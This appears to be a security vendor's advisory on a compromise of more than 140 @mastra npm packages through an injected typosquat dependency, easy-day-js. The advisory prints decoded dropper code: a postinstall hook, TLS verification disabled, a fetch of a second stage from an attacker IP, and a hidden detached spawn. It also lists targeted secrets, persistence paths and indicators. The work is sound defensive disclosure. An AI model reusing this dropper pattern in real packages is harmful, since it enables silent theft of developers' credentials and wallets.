Table of contents
Mastra npm Scope Takeover: 140+ Packages Compromised via easy-day-js Dropper
An attacker republished more than 140 packages in the @mastra npm scope, each carrying a single malicious dependency, easy-day-js. The malicious versions were observed on 2026-06-17. easy-day-js is a typosquat of the dayjs date library: version 1.11.21 is the clean prior release with no install hook, while version 1.11.22 adds an obfuscated postinstall dropper. Installing any affected @mastra package resolves and runs that dropper, which downloads a second-stage stealer that harvests environment secrets and cryptocurrency wallets. The affected packages are heavily used: Mend records over 20 million downloads for @mastra/core and over 19 million for @mastra/schema-compat, so any project that auto-updates these packages is in scope.
Background
Mastra is a widely adopted TypeScript framework for building AI agents and applications. The @mastra scope spans well over a hundred packages, including the mastra and create-mastra entry points, @mastra/core, database and vector connectors, auth integrations, deployers, and provider SDKs. Developers working with this framework typically hold exactly the secrets an attacker wants, including cloud keys, LLM provider keys, database credentials, and source-control tokens.
That concentration of value is what makes a scope takeover here so severe. The attacker did not need to write convincing malicious application code inside each package. They needed only publish access to the scope and one malicious dependency to fan the payload out across the scope in a single wave.
Technical analysis
The attack vector: A hijacked scope and one injected dependency
The payload reaches the machine through ordinary dependency resolution, not through any exploit. The attacker obtained publish access to the @mastra scope and republished it. Each compromised release differs from its clean predecessor by a single functional change: one added dependency. No application source in the @mastra packages is modified.
"dependencies": {
+ "easy-day-js": "^1.11.21",
...
},
- "version": "1.42.0"
+ "version": "1.42.1"
Figure 1: The only functional change in each compromised @mastra package is the injected easy-day-js dependency and a version bump. Because the malicious code lives in the dependency, the carrier packages look clean to per-package scanning.
The caret range ^1.11.21 is what arms the trap. npm resolves a caret range to the newest matching version at install time, which is the malicious 1.11.22. Because the @mastra packages declare the dependency as ^1.11.21, a fresh install of any of them pulls 1.11.22 even though 1.11.21 itself is clean.
Stage 1: The postinstall hook
easy-day-js@1.11.22 adds one lifecycle script to package.json.
"scripts": {
"postinstall": "node setup.cjs --no-warnings"
}
Figure 2: The postinstall hook fires automatically at install time. The --no-warnings flag suppresses Node runtime warnings so nothing unusual appears in install output.
The postinstall script runs whenever the package is installed, with no user interaction, and executes setup.cjs, the dropper.
Stage 2: The setup.cjs dropper and its obfuscation
setup.cjs is obfuscated with javascript-obfuscator. It uses a rotated 40-entry string array (a left rotation of 34 positions, validated against an arithmetic checksum of 0x4c11d), a custom-alphabet base64 decoder, and an XOR-encoded byte array that reconstructs the marker string easy-day-js. Once decoded, the dropper performs a short, deliberate sequence.
First, it disables TLS certificate verification for the whole process, so the command-and-control server’s invalid certificate is accepted:
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
Figure 3: The dropper disables TLS verification process-wide. This setting is inherited by any child process it launches.
It then fetches the second stage over HTTPS and writes it to a randomly named file in the OS temp directory. The 49890878 path segment is the campaign identifier:
const payload = await (await fetch('hxxps://23[.]254[.]164[.]92:8000/update/49890878', { method: 'GET' })).text();
const tmpPath = path.join(os.tmpdir(), crypto.randomBytes(0xc).toString('hex') + '.js');
fs.writeFileSync(tmpPath, payload, 'utf8');
Figure 4: The dropper retrieves the second stage from the stage-one server and stages it as a 24-hex-character .js file.
Finally, it launches the second stage with Node as a detached, hidden background process, passing the second-stage C2 address as a command-line argument, then returns control to the installer:
child_process.spawn(process.execPath, [tmpPath, '23[.]254[.]164[.]123:443'], {
cwd: os.tmpdir(), detached: true, stdio: 'ignore', windowsHide: true
}).unref();
Figure 5: The second stage runs detached and hidden, so the install completes immediately while the malware keeps running. The windowsHide option indicates the payload is built to run on Windows as well as macOS and Linux.
The dropper also writes two markers into the temp directory before fetching: .pkg_history, containing the package install path, and .pkg_logs, containing easy-day-js stored as an XOR-0x80 byte sequence to avoid a plaintext name on disk. After spawning the second stage, it deletes setup.cjs from disk to remove the most obvious forensic artifact.
Attack flow
npm install @mastra/<pkg> (caret resolves easy-day-js ^1.11.21 -> 1.11.22)
|
v
postinstall: node setup.cjs (Stage 1 hook)
|
v
setup.cjs (Stage 2 dropper)
- NODE_TLS_REJECT_UNAUTHORIZED=0
- write .pkg_history / .pkg_logs markers
- GET stage-2 from 23[.]254[.]164[.]92:8000/update/49890878
- write <tmpdir>/<24-hex>.js
- spawn node <payload> 23[.]254[.]164[.]123:443 (detached, hidden)
- self-delete setup.cjs
|
v
Downloaded payload --> beacon to 23[.]254[.]164[.]123:443
- harvest environment secrets and wallets
- install OS persistence
Figure 6: End-to-end execution chain from npm install to second-stage command-and-control.
Stage 3: The second stage
The dropper retrieves the second stage at install time rather than embedding it in the published package, so its behavior is governed by attacker-controlled infrastructure and can be changed at any time. Its execution profile is still clear from the dropper itself: a Node.js script, staged in the OS temp directory and run with the installer’s own Node binary, detached and hidden so it continues running after installation completes. It inherits the disabled-TLS setting and communicates with its command-and-control endpoint (23[.]254[.]164[.]123:443) without certificate validation.
Functionally, the second stage operates as a remote-access tool. It harvests sensitive credentials and cryptocurrency-wallet data from the host and exfiltrates them to the C2, which can issue follow-up commands. Stolen credentials grant the attacker whatever access the victim’s keys held. The specific environment variables and wallet extensions it targets are listed in the Indicators of Compromise.
Stage 4: Persistence and durability
Two properties make the compromise durable. First, the second stage is delivered at runtime rather than embedded in the published package, so the operator can update or replace it remotely. Second, its detached, hidden launch and the windowsHide flag show it is built to run unattended across platforms, Windows included. Host-level persistence artifacts associated with the campaign, spanning macOS, Linux, and Windows, are listed in the Indicators of Compromise. Any machine that installed an affected package should be treated as fully compromised.
Indicators of compromise
Network IOCs
| Indicator | Value | Description |
|---|---|---|
| Stage-one URL | hxxps://23[.]254[.]164[.]92:8000/update/49890878 | Second-stage payload fetch endpoint |
| Stage-one C2 | 23[.]254[.]164[.]92 | Hosts the second-stage download |
| Stage-two C2 | 23[.]254[.]164[.]123:443 | Receives beacons and exfiltrated data |
| Campaign ID | 49890878 | Path segment in the stage-one fetch URL |
Filesystem IOCs
| Indicator | Value | Description |
|---|---|---|
| Install marker | <tmpdir>/.pkg_history | Contains the package install path |
| Name marker | <tmpdir>/.pkg_logs | easy-day-js stored XOR-0x80 |
| Staged payload | <tmpdir>/^[0-9a-f]{24}\.js$ | Second-stage file dropped before execution |
| Runtime flag | NODE_TLS_REJECT_UNAUTHORIZED=0 | TLS verification disabled at runtime |
| Persistence (macOS) | ~/Library/LaunchAgents/com.nvm.protocal.plist, ~/Library/NodePackages/protocal.cjs | Reboot persistence |
| Persistence (Linux) | ~/.config/systemd/user/nvmconf.service, ~/.config/NodePackages | Reboot persistence |
| Persistence (Windows) | C:\ProgramData\NodePackages | Reboot persistence |
Targeted data
| Indicator | Value | Description |
|---|---|---|
| Targeted environment variables | OPENAI_API_KEY, ANTHROPIC_API_KEY, GOOGLE_API_KEY, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AZURE_TENANT_ID, GITHUB_TOKEN, NPM_TOKEN, database connection strings | Secrets the second stage harvests from the environment |
| Targeted wallet extensions | MetaMask, Phantom, Solflare, Coinbase Wallet, OKX, Keplr | Browser wallet extensions scanned in Chrome, Brave, and Edge |
Package / Git IOCs
| Indicator | Value | Description |
|---|---|---|
| Malicious package | easy-day-js@1.11.22 | postinstall dropper |
| Bait package | easy-day-js@1.11.21 | Clean prior version named by the injected dependency |
| Injected dependency | "easy-day-js": "^1.11.21" | Marker present in every compromised @mastra release |
1.11.22 tarball SHA256 | 4a8860240e4231c3a74c81949be655a28e096a7d72f38fbe84e5b37636b98417 | Malicious tarball |
1.11.21 tarball SHA256 | ae70dd4f6bc0d1c8c2848e4e6b51934626c4818dcb5af99d080ddbd7dc337185 | Bait tarball |
Detection and remediation
- Remove persistence artifacts first, before rotating tokens. Check for and delete the macOS LaunchAgent, the Linux systemd user service, and the Windows
C:\ProgramData\NodePackagespayload listed in the Filesystem IOCs. - Block the C2 infrastructure at the DNS and HTTPS proxy layers:
23[.]254[.]164[.]92 and 23[.]254[.]164[.]123. - Identify exposure. Audit lockfiles, dependency trees, and install logs for any resolved
easy-day-jsand for@mastra/*versions carrying the injected dependency. - Rotate every credential reachable from any machine or CI runner that installed an affected package: cloud keys, LLM provider keys, database credentials, and npm and GitHub tokens.
- Search for host artifacts, including
<tmpdir>/.pkg_history,<tmpdir>/.pkg_logs, and randomly named 24-hex.jsfiles in the temp directory. - Pin versions and install with
--ignore-scriptsas a durable defense. This campaign abused a caret range on a freshly published transitive dependency, and disabling lifecycle scripts blocks thepostinstallexecution path entirely.
Mend.io coverage
Mend.io has issued 2 MSC advisories covering all affected packages:
MSC-2026-6172MSC-2026-6173
Conclusion
This campaign shows how publish access to a single trusted scope can convert more than 140 packages into a malware delivery network. The separation of dropper and carrier, with the payload isolated in one typosquatted dependency and the @mastra packages simply pointing at it, is what let the attack reach machines holding high-value cloud, AI, and source-control secrets while the carrier packages still looked clean. Mend.io will continue monitoring the @mastra scope and the broader npm ecosystem for follow-on waves and related typosquat droppers.